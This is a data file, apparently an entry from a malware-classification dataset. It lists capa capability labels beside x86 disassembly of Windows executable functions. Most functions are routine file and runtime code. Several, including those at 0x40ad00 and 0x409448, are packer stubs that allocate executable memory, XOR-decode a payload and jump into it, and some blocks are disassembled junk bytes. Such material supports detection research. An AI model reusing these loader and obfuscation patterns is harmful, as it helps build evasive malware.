joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc

Function at 0x405e16
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a580]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a584]
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
test eax, eax
jne 0x405e66
test edi, edi
jne 0x405e23
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x405e60
Function at 0x405f41
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov ebx, 0x426dc8
push 0x40a5a4
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.kernel32.dll_GetShortPathNameW]
test esi, esi
mov edi, 0x400
je 0x405f8f
push 1
push 0
push esi
call fcn.00405de7
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push ebx
push esi
call ebp
test eax, eax
je 0x4060ae
cmp eax, edi
jg 0x4060ae
mov esi, 0x4275c8
push edi
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x4060ae
cmp eax, edi
jg 0x4060ae
push esi
push ebx
push str._ls_ls_r_n
push 0x4269c8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42a250]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00401434
push 4
push 0xc0000000
push esi
call fcn.00405de7
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x4060ae
push 0
push ebp
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4060a7
push edi
push esi
push ebp
call fcn.00401434
test eax, eax
je 0x4060a7
push str._Rename__r_n
push esi
call fcn.00401434
test eax, eax
jne 0x406045
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40607a
add eax, 0xa
push 0x40a588
push eax
call fcn.00401434
mov ebp, eax
test ebp, ebp
je 0x406076
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x406067
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406061
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x40607c
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4269c8
push eax
call fcn.00405da2
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00401434
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4060b3
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_MoveFileExW]
test eax, eax
jne 0x4060d6
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405f41
pop ecx
pop ecx
inc dword [0x42a2d0]
ret 8
Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0x400dc8]
cmp al, 0x83
sal dword [eax + ebp*2 + 0x9dd246], 0x51
mov ah, 0x68
inc esi
rcr byte [ebp + 0x15ff5100], cl
add cl, 0x40
jo 0x40170e
lodsb al, byte [esi]
add al, byte [ecx]
adc al, ah
or al, 0x85
sal byte [edi + ecx + 0x50], 0x68
push esp
rol byte [eax], cl
call dword [0xe8c164]
add esp, 8
mov dword [ecx], eax
call dword [sym.imp.MSVCRT.dll_exit]
nop
push ebp
mov ebp, esp
sub esp, 0x420000b8
mov eax, dword [0x410278]
test eax, eax
mov eax, dword [0x41404c]
je 0x4017bb
dec esp
inc eax
cmp al, 0x41
add byte [edi + 0x409e87], ch
invalid
mov edx, dword [0x4118fc]
push edx
ret

Function at 0x40b080
Capabilities:
Query environment variable

Disassembly:
inc ebp
or al, 0x5f
pop es
push es
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov ecx, dword [ecx + 0x5d]
ret 0xc
push ebp
mov ebp, esp
push esi
mov eax, edi
or byte [esi], cl
mov esp, dword [esi]
adc byte [ebx + 0x4e8b1046], cl
adc al, 0xbc
rol edi, 0x45
adc byte [eax], al
add byte [eax], al
add byte [ebp + 0x71], dh
wait
inc esi
or byte [eax + eax*8 + 0x56506a74], al
add al, 0x8d
dec ebp
or byte [ebx], ch
xchg ebp, eax
push 0
push 0
push 0
push edx
or edx, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
sbb eax, eax
jne 0x40b0f2
jo 0x40b062
push ds
rol byte [eax], 0xde
salc
test eax, eax
jne 0x40b0d2
clc
je 0x40b0e0
add eax, 0x5d01d75e
ret
sub dl, dh
add eax, 0xfd0ab780
cmp eax, 0xafced
jne 0x40b0e5
mov eax, 0x111c9
mov ecx, dword [ebp + 0x14]
pop edi
pop edi
mov dword [ecx], 0x88005c00
pop ebp
ret
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40b107
mov edx, dword [ebp + 0x14]
pop edi
pop esi
mov dword [edx], eax
mov eax, 0xb
pop ebp
ret
cmp edi, eax
jbe 0x40b15f
in al, dx
clc
mov eax, dword [esi + 0xc]
cwde
shr byte [ecx], 0x23
mov al, byte [ecx]
or byte [ecx + ecx*8 + 0x4e8b1c75], al
enter 0xe89, 8
mov eax, dword [esi + 0x50]
wait
push esi
push esp
mov ecx, 0x20
call 0x9dc3b810
mov edx, dword [esi + 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0xc]
mov ebx, dword [edi + ecx*4 + 0x104d8d53]
push eax
mov esp, esp
add al, 0x51
xchg edi, eax
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test dword [esp + esi*2 - 0x4b3fe9f9], ecx
sub eax, dword [ecx]
add byte [eax], al
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp dword [edx - 0x7b]
add bh, bh
bound eax, qword [ebp + 0x32840fc0]
add dword [eax], eax
add bh, bh
fld qword [0xb90a5580]
cmp eax, 0xb0065
jne 0x7ed2b24f
mov ebx, dword [0xe640c09c]
test dword [esi + 0x14], ecx
mov eax, dword [eax + 0x10]
test dword [0x4991a7c], edi
test eax, eax
pop ds
adc byte [ebx], al
add byte [eax - 4], al
add eax, dword [eax]
add byte [ecx + 0x50], dl
call 0x67b590
adc dword [eax + 0x23], ecx
test dword [ebx + 0x475fff8], 0x25ebc00b
xor eax, eax
mov al, 0x4e
arpl word [eax - 0x75], dx
push ecx
imul edx, dword [edx - 1], 0xffffffd3
out dx, eax
clc
test eax, 0x2c00f6ff
add byte [edi + edi*4 - 0x7b], dh
jmp dword [ecx + esi - 0x5f]
Function at 0x40ad00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40ad0f
pop dword [ebp - 0x4c]
mov eax, 0xc612a479
add eax, 0x3a2e0896
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x2a0e3026
sub dword [ebp - 0x5c], 0xdbbbeadb
mov dword [ebp - 0x58], 0xc9860286
add dword [ebp - 0x58], 0x68ad49bf
mov dword [ebp - 0x54], 0x6bbdc36f
add dword [ebp - 0x54], 0xe08e80bf
mov dword [ebp - 0x50], 0x35693b68
add dword [ebp - 0x50], 0xca96c498
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x7268aa73
sub dword [ebp - 0x5c], 0xfdf6411d
mov dword [ebp - 0x58], 0xd990f2df
sub dword [ebp - 0x58], 0x9824916a
mov dword [ebp - 0x54], 0x438df0e1
sub dword [ebp - 0x54], 0xe01e8475
mov dword [ebp - 0x50], 0xfe5bf589
add dword [ebp - 0x50], 0x1a40a77
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x3c791778
sub eax, 0x3c37b704
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e567
push 0
call eax
mov ecx, 0x5554
xor edx, edx
add edx, eax
mov ebx, 0x42a600
add ebx, dword [ebp - 0x4c]
mov esi, 0x6b776ed6
sub esi, 0x163cff33
add dword [ebp - 0x1c], ebx
mov edi, dword [ebx]
mov dword [ebp - 0x3c], 0x4e0eff5f
add edi, esi
xor dword [ebp - 0xc], edi
mov dword [edx], edi
add edx, 0x6aa0a083
sub edx, 0x6aa0a07f
add ebx, 0x4894d964
sub ebx, 0x4894d960
loop 0x40ae22
add eax, 0x14823
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2ef20fd8
add ecx, 0xd14df028
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x402f83
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
xor esi, esi
cmp dword [0x2fa5b20], 0x594
mov dword [ebp - 0xc], eax
jne 0x402fcb
push 0x402d48
push 0x402d58
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x80c4c8]
push ebx
mov ebx, dword [0x80c4cc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.00402f7c
mov eax, dword [0x80c4d0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x80c4d4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, dword [ebp - 0x10]
mov ecx, eax
shl ecx, 4
cmp dword [0x2fa5b20], 0xc
mov dword [ebp - 4], ecx
jne 0x403075
push esi
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x84c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
lea eax, [ebp - 0x38]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
add dword [ebp - 4], ecx
mov ecx, dword [0x2fa5b20]
cmp ecx, 0xfa9
jne 0x403093
mov dword [0x2fa50bc], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4030a1
mov dword [0x2fa4a70], esi
mov ecx, dword [ebp - 8]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
shr eax, cl
mov dword [0x2fa50b8], 0xf4ea3dee
add eax, dword [ebp - 0x24]
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x2fa5b20], 0x213
mov dword [ebp - 0x18], ecx
jne 0x4030dc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x14]
shr eax, cl
add eax, ebx
xor eax, edx
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40300a
cmp dword [0x2fa5b20], 0xa6d
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
pop ebx
jne 0x40313d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
leave
ret 4
Function at 0x403416
Capabilities:
Extract resource via kernel32 functions
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
xor esi, esi
cmp dword [0x2fa5b20], 0x400
push edi
jne 0x403483
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll__hwrite]
push esi
push esi
call fcn.00403780
push esi
push esi
call fcn.00403780
push esi
call fcn.0040394a
push esi
push esi
push esi
call fcn.00404221
add esp, 0x18
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00402ee0
fstp st(0)
push esi
call fcn.004042a6
push esi
call fcn.00404038
push esi
push esi
call fcn.00403674
add esp, 0x10
mov eax, dword [0x80cb54]
mov dword [0x2fa5b20], eax
mov eax, dword [0x80cb2c]
mov dword [0x2fa5b24], eax
call fcn.00403217
mov dword [ebp - 4], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp dword [ebp - 4], ebx
jle 0x4034e5
cmp dword [ebp - 8], 0x785074d5
jne 0x4034f1
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1c1b
jl 0x4034a4
xor edi, edi
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x402dc8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402dec
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp edi, ebx
jle 0x403521
cmp dword [ebp - 8], 0x785074d5
jne 0x40352a
inc edi
cmp edi, 0x11915
jl 0x4034f3
mov eax, dword [0x2fa4a74]
mov dword [0x2fa50b4], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x404c10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80b0e8]
jne 0x404c1a
repz ret
jmp fcn.0040a7b2
Function at 0x40a4d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407192
and dword [ebp - 4], 0
cmp dword [0x80d420], 0
mov ebx, eax
jne EnterCriticalSection
push 0x401bc4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je ReadFile
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401bb8
push edi
call esi
test eax, eax
je ReadFile
push eax
call fcn.00407120
mov dword [esp], 0x401ba8
push edi
mov dword [0x80d420], eax
call esi
push eax
call fcn.00407120
mov dword [esp], 0x401b94
push edi
mov dword [0x80d424], eax
call esi
push eax
call fcn.00407120
mov dword [esp], 0x401b78
push edi
mov dword [0x80d428], eax
call esi
push eax
call fcn.00407120
pop ecx
mov dword [0x80d430], eax
test eax, eax
je 0x40a586
push GetConsoleCP
push edi
call esi
push eax
call fcn.00407120
pop ecx
mov dword [0x80d42c], eax
mov eax, dword [0x80d42c]
cmp eax, ebx
je 0x40a5de
cmp dword [0x80d430], ebx
je FlushFileBuffers
push eax
call fcn.0040719b
push dword [0x80d430]
mov esi, eax
call fcn.0040719b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a5de
test edi, edi
je 0x40a5de
call esi
test eax, eax
je 0x40a5d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a5d5
test byte [ebp - 0xc], 1
jne 0x40a5de
or dword [ebp + 0x10], 0x200000
jmp InterlockedIncrement
mov eax, dword [0x80d424]
cmp eax, ebx
je 0x40a617
push eax
call fcn.0040719b
pop ecx
test eax, eax
je 0x40a617
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a617
mov eax, dword [0x80d428]
cmp eax, ebx
je 0x40a617
push eax
call fcn.0040719b
pop ecx
test eax, eax
je 0x40a617
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x80d420]
call fcn.0040719b
pop ecx
test eax, eax
je 0x40a637
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp ReadFile
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403361
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi]
mov eax, dword [edi + 4]
xor ebx, ebx
cmp dword [0x249d900], 0x594
mov dword [ebp - 0x18], esi
mov dword [ebp - 8], eax
jne 0x4033ae
push 0x402e08
push 0x402e14
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x402e28
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x4a54a8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4a54ac]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.00403357
mov eax, dword [0x4a54b0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4a54b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4033ec
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x249d900], 0xc
mov dword [ebp - 4], eax
jne 0x403451
push ebx
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc4c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x249d900]
cmp eax, 0xfa9
jne 0x40346d
mov dword [0x249ce9c], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40347a
mov dword [0x249c84c], ebx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
add eax, esi
shr esi, cl
mov dword [ebp - 0x14], eax
mov dword [0x249ce98], 0xf4ea3dee
add esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor esi, dword [ebp - 4]
cmp dword [0x249d900], 0x213
mov dword [ebp - 0x14], esi
jne 0x4034b7
push 0x402e40
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
lea esi, [eax + edx]
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x18]
call fcn.0040335e
add dword [ebp - 0x10], 0x61c88647
dec dword [ebp - 0x20]
jne 0x4033e9
cmp dword [0x249d900], 0xa6d
mov eax, dword [ebp - 0x18]
mov dword [edi], eax
jne 0x403523
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x409448
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x409457
pop dword [ebp - 0x24]
mov eax, 0xb358d287
add eax, 0x4ce7c1d0
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x36470
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x6918376b
sub ecx, 0x6917fc22
mov ebx, eax
mov esi, 0x70c6449
sub esi, 0x6caec49
add esi, dword [ebp - 0x24]
mov edx, 0x47811466
sub edx, 0x490712d2
xor dword [ebp - 0x18], 0xe6a34ca2
mov edi, dword [esi]
add dword [ebp - 0x14], edx
sub edi, edx
sub dword [ebp - 0x1c], 0xe1b890c5
mov dword [ebx], edi
sub dword [ebp - 0x14], edx
add ebx, 0x11a74073
add ebx, 0xee58bf91
add esi, 4
loop 0x4094b1
add eax, 0xd1e106dc
add eax, 0x2e1fd91b
mov ebx, eax
add eax, 0x315f2e80
sub eax, 0x315f2e7b
mov ecx, 0x5e6a1f00
add ecx, 0xa1d5e100
add ecx, dword [ebp - 0x24]
call ebx
leave
ret